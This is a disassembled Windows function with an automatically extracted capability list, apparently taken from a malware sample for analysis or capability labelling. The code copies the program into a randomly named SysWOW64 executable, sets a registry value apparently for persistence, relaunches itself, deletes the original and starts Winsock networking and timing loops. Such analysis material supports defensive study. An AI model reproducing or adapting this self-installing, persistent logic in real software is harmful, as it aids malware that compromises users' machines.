Function at 0x89a6b
Capabilities:
Accept command line arguments
Check for time delay via gettickcount
Check if file exists
Create process on windows
Create thread
Delete file
Get common file path
Get disk information
Initialize winsock library
Query environment variable
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x684
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_SetErrorMode]
push edi
push 3
call esi
push 3
call esi
push 0x86511
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
call fcn.0008ec54
xor ebx, ebx
cmp byte [0x9201f], bl
jne 0x8a3cc
push 0x12c
lea eax, [ebp - 0x29c]
push eax
push ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x89aca
mov byte [ebp - 0x29c], bl
cmp byte [ebp - 0x29c], 0x22
jne 0x89afd
lea eax, [ebp - 0x29b]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0008ef00
lea eax, [ebp - 0x29c]
push 0x22
push eax
call fcn.0008ed23
add esp, 0x10
cmp eax, ebx
je 0x89afd
mov byte [eax], bl
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0xc8
push 0xe4
push 4
push 0x90a48
mov esi, 0x922f8
push esi
mov dword [ebp + 0x10], eax
call fcn.00082544
push eax
push dword [ebp + 0x10]
call fcn.0008ee95
mov edi, 0x100
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0008ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x89c0c
mov eax, dword [ebp - 4]
lea edi, [eax + 3]
mov byte [ebp - 0x170], bl
cmp byte [edi], 0x22
jne 0x89b88
lea edi, [eax + 4]
push 0x22
push edi
call fcn.0008ed03
pop ecx
pop ecx
cmp eax, ebx
je 0x89bc2
mov esi, eax
sub esi, dword [ebp - 4]
lea eax, [esi - 4]
push eax
lea eax, [ebp - 0x170]
push edi
push eax
call fcn.0008ee08
mov byte [ebp + esi - 0x174], bl
jmp 0x89bbf
push 0x20
push edi
call fcn.0008ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0x89ba2
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x10]
mov esi, eax
sub esi, dword [ebp - 4]
lea eax, [esi - 3]
push eax
lea eax, [ebp - 0x170]
push edi
push eax
call fcn.0008ee08
mov byte [ebp + esi - 0x173], bl
add esp, 0xc
cmp byte [ebp - 0x170], bl
je 0x89c05
cmp byte [ebp - 0x29c], bl
je 0x89c05
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0008675c
add esp, 0xc
cmp eax, ebx
je 0x89c05
cmp dword [ebp - 8], ebx
je 0x89c05
push dword [ebp - 8]
push eax
lea eax, [ebp - 0x170]
push eax
call fcn.00086a60
add esp, 0xc
mov dword [ebp - 8], eax
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0x6c]
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.000896aa
add esp, 0x14
mov dword [ebp - 0xc], eax
cmp eax, ebx
je 0x8a1d2
mov dword [ebp - 0x20], ebx
cmp eax, 4
jge 0x8a167
cmp dword [ebp - 0x2c], 0x61
jle 0x89c54
cmp dword [ebp - 0x28], ebx
jne 0x8a167
push 1
call fcn.00084280
pop ecx
cmp byte [ebp - 0x29c], bl
je 0x8a167
push ebx
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x29c]
push eax
call fcn.0008675c
add esp, 0xc
mov dword [ebp - 4], eax
cmp eax, ebx
je 0x8a167
cmp dword [ebp - 8], ebx
je 0x8a167
cmp dword [ebp - 0xc], 2
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
je 0x89e3e
lea eax, [ebp - 0x4f4]
push eax
push 0x1f4
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
je 0x89e3e
push dword [ebp - 8]
lea eax, [ebp - 0x2bc]
push dword [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f4]
push eax
call fcn.000899d2
add esp, 0x14
test eax, eax
je 0x89e3e
cmp dword [ebp - 0xc], 3
mov byte [ebp - 0x4c], bl
jl 0x89d55
cmp byte [ebp - 0x170], bl
je 0x89d55
lea eax, [ebp - 0x170]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x89cff
sub eax, edx
cmp eax, ebx
jle 0x89d17
cmp byte [ebp + eax - 0x171], 0x5c
jne 0x89d17
dec eax
mov edx, eax
cmp eax, ebx
jle 0x89d2f
lea ecx, [ebp - 0x170]
cmp byte [ecx + eax - 1], 0x5c
je 0x89d2f
dec eax
cmp eax, ebx
jg 0x89d23
sub edx, eax
push edx
lea eax, [ebp + eax - 0x170]
push eax
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp + 0x10], edx
call fcn.0008ee08
mov eax, dword [ebp + 0x10]
mov byte [ebp + eax - 0x4c], bl
xor eax, eax
add esp, 0xc
inc eax
jmp 0x89da5
lea eax, [ebp - 0x4c]
push ebx
push eax
call fcn.00086dc2
xor eax, 0x61616161
push eax
call fcn.0008f133
add esp, 0xc
call fcn.00086cc9
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x9070c
lea eax, [ebp - 0x170]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
xor eax, eax
cmp dword [ebp - 0x28], ebx
je 0x89db4
cmp dword [ebp - 0x2c], 0x50
jl 0x89db4
xor ecx, ecx
jmp 0x89db7
xor ecx, ecx
inc ecx
push ecx
push eax
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x2bc]
push eax
call fcn.00089326
add esp, 0x18
test eax, eax
je 0x89e21
lea eax, [ebp - 0x2e0]
push eax
push ebx
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x89e0c
xor esi, esi
inc esi
cmp dword [ebp - 0xc], esi
jne 0x89e04
call fcn.000896ff
mov dword [ebp - 0x20], esi
jmp 0x8a155
mov eax, 0x61040108
mov dword [0x92180], eax
mov dword [0x9217c], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x89e2e
mov eax, dword [0x9217c]
mov dword [ebp - 0x1c], eax
mov eax, dword [0x92180]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0xc], 3
jge 0x8a155
push 0x1f4
lea eax, [ebp - 0x4f4]
push eax
push 0xc8
push 0xe4
push 0xc
push 0x90a3c
push esi
call fcn.00082544
add esp, 0x14
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x8a14a
push dword [ebp - 8]
lea eax, [ebp - 0x2bc]
push dword [ebp - 4]
push eax
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f4]
push eax
call fcn.000899d2
add esp, 0x14
test eax, eax
je 0x8a14a
push edi
push ebx
push esi
call fcn.0008ee2a
add esp, 0xc
lea eax, [ebp - 0x29c]
push eax
lea eax, [ebp - 0x4f3]
push eax
mov byte [ebp - 0x4f4], 0x22
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov byte [ebp + eax - 0x4f4], 0x22
inc eax
cmp dword [ebp - 0xc], 2
mov dword [ebp + 0x10], eax
mov byte [ebp + eax - 0x4f4], bl
jne 0x89ef9
cmp byte [ebp - 0x6c], bl
jne 0x89f11
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00086dc2
xor eax, 0x61616161
push eax
call fcn.0008f133
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push 0x103
push ebx
push 0xc8
push 0xe4
push 0x2e
push 0x906ac
push esi
call fcn.00082544
add esp, 0x14
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
jne 0x89f70
mov eax, dword [ebp + 0x10]
inc eax
push eax
lea eax, [ebp - 0x4f4]
push eax
push 1
push ebx
lea eax, [ebp - 0x6c]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push edi
push ebx
push esi
call fcn.0008ee2a
push 0x44
lea eax, [ebp - 0x300]
push ebx
push eax
call fcn.0008ee2a
push 0x10
lea eax, [ebp - 0x3c]
push ebx
push eax
mov dword [ebp - 0x300], 0x44
call fcn.0008ee2a
add esp, 0x24
push 0x104
lea eax, [ebp - 0x170]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x8a09a
cmp byte [ebp - 0x170], 0x22
lea eax, [ebp - 0x170]
mov dword [ebp - 0x24], eax
jne 0x89fdd
lea eax, [ebp - 0x16f]
mov dword [ebp - 0x24], eax
cmp byte [eax + 1], 0x3a
jne 0x8a09a
cmp byte [eax + 2], 0x5c
jne 0x8a09a
mov eax, dword [ebp - 0x24]
mov cl, byte [eax + 3]
push eax
mov byte [ebp + 0x13], cl
mov byte [eax + 3], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x8a09a
mov al, byte [ebp + 0x13]
mov ecx, dword [ebp - 0x24]
push 0xc8
push 0xe4
push 4
push 0x90a38
push esi
mov byte [ecx + 3], al
call fcn.00082544
add esp, 0x14
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
push esi
call fcn.0008ee2a
add esp, 0xc
cmp byte [ebp - 0x170], 0x22
je 0x8a064
push 0x90a34
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
cmp byte [ebp - 0x170], 0x22
je 0x8a093
push 0x90a34
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x20], 1
cmp dword [ebp - 0x1c], ebx
je 0x8a103
cmp dword [ebp - 0x18], ebx
je 0x8a103
push dword [ebp - 0x1c]
lea eax, [ebp - 0x170]
push dword [ebp - 0x18]
push 0x90a2c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
push 0xc8
push 0xe4
push 4
push 0x90a28
push esi
call fcn.00082544
add esp, 0x24
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push ebx
push esi
call fcn.0008ee2a
add esp, 0xc
lea eax, [ebp - 0x170]
push eax
lea eax, [ebp - 0x4f4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x300]
push eax
push ebx
push ebx
push 0x8000000
push ebx
push ebx
push ebx
lea eax, [ebp - 0x4f4]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x8a13a
lea eax, [ebp - 0x29c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0xc], 1
jne 0x8a14a
cmp dword [ebp - 0x10], ebx
jne 0x8a14a
call fcn.000896ff
push edi
push ebx
push esi
call fcn.0008ee2a
add esp, 0xc
push dword [ebp - 4]
call fcn.0008ec2e
pop ecx
cmp dword [ebp - 0x20], ebx
jne 0x89c05
push 0x12c
lea eax, [ebp - 0x29c]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x89c05
cmp byte [ebp - 0x29c], 0x22
lea eax, [ebp - 0x29c]
jne 0x8a19e
lea eax, [ebp - 0x29b]
cmp byte [eax + 1], 0x3a
jne 0x89c05
cmp byte [eax + 2], 0x5c
jne 0x89c05
push eax
mov byte [eax + 3], bl
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
je 0x89c05
push 1
call fcn.00089145
pop ecx
jmp 0x89c05
lea eax, [ebp - 0x29c]
push eax
push str.C:WindowsSysWOW64cwktspgqqclzyudi.exe
call fcn.0008ef00
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0xc8
push 0xe4
push 4
push 0x90a38
push esi
mov dword [ebp + 0x10], eax
call fcn.00082544
push eax
push dword [ebp + 0x10]
call fcn.0008ee95
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0008ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x8a2e2
mov eax, dword [ebp - 4]
add eax, 3
mov byte [ebp - 0x29c], bl
cmp byte [eax], 0x22
mov dword [ebp - 0x10], eax
jne 0x8a275
mov eax, dword [ebp - 4]
add eax, 4
push 0x22
push eax
mov dword [ebp - 0x10], eax
call fcn.0008ed03
pop ecx
pop ecx
cmp eax, ebx
je 0x8a2b7
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
add eax, 0xfffffffc
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x29c]
push eax
call fcn.0008ee08
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x2a0], bl
jmp 0x8a2b4
push 0x20
push dword [ebp - 0x10]
call fcn.0008ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0x8a291
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x10]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
add eax, 0xfffffffd
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x29c]
push eax
call fcn.0008ee08
mov eax, dword [ebp - 0x14]
mov byte [ebp + eax - 0x29f], bl
add esp, 0xc
cmp byte [ebp - 0x29c], bl
je 0x8a2d8
push 0x103
lea eax, [ebp - 0x29c]
push eax
push 0x933d8
call fcn.0008ee08
add esp, 0xc
mov dword [0x92cc0], 1
push 0xc8
push 0xe4
push 4
push 0x90a28
push esi
call fcn.00082544
push eax
push dword [ebp + 0x10]
call fcn.0008ee95
push edi
push ebx
push esi
mov dword [ebp - 4], eax
call fcn.0008ee2a
add esp, 0x28
cmp dword [ebp - 4], ebx
je 0x8a35a
mov esi, dword [ebp - 4]
add esi, 3
push 0x20
push esi
call fcn.0008ed03
pop ecx
pop ecx
cmp eax, ebx
jne 0x8a339
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x8a32e
sub eax, edx
add eax, esi
sub eax, esi
mov edi, eax
cmp edi, 0x20
jb 0x8a345
push 0x1f
pop edi
push edi
push esi
push 0x92184
call fcn.0008ee08
add esp, 0xc
mov byte [edi + 0x92184], bl
call fcn.00086ec3
test eax, eax
jne 0x8a3c2
cmp byte [ebp - 0x170], bl
je 0x8a397
lea eax, [ebp - 0x170]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x8a374
sub eax, edx
cmp eax, 0x20
jae 0x8a397
lea eax, [ebp - 0x170]
push eax
push 0x933b0
call fcn.0008ef00
pop ecx
pop ecx
jmp 0x8a39d
mov byte [0x933b0], bl
lea eax, [ebp - 0x170]
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x38], 0x89961
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
jmp 0x89c05
call fcn.000898f2
jmp 0x89c05
cmp byte [0x933d8], bl
je 0x8a41c
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp + 0x10], 0xa
mov esi, 0x933d8
jmp 0x8a406
cmp dword [ebp + 0x10], ebx
jle 0x8a40d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x8a40d
dec dword [ebp + 0x10]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
push esi
call edi
test eax, eax
je 0x8a3e8
push 0x104
push ebx
push esi
call fcn.0008ee2a
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
push ebx
push 0x8405e
push ebx
push ebx
call esi
lea eax, [ebp - 0x684]
push eax
push 0x1010
call dword [sym.imp.WS2_32.dll_WSAStartup]
call fcn.0008e52e
push ebx
push 1
call fcn.0008eaaf
push 0x92118
call fcn.00081d96
add esp, 0xc
call fcn.000880c9
push ebx
push ebx
push ebx
push 0x8877e
push ebx
push ebx
call esi
call fcn.00085e6c
call fcn.00083132
call fcn.0008c125
call fcn.00088db1
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xbb8
call esi
call fcn.0008c4ee
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x933d0], ebx
je 0x8a4ae
call edi
sub eax, dword [0x933d0]
cmp eax, 0x109a0
jb 0x8a4be
call fcn.0008c913
test eax, eax
jne 0x8a4be
call edi
mov dword [0x933d0], eax
push 0x1a90
call esi
jmp 0x8a497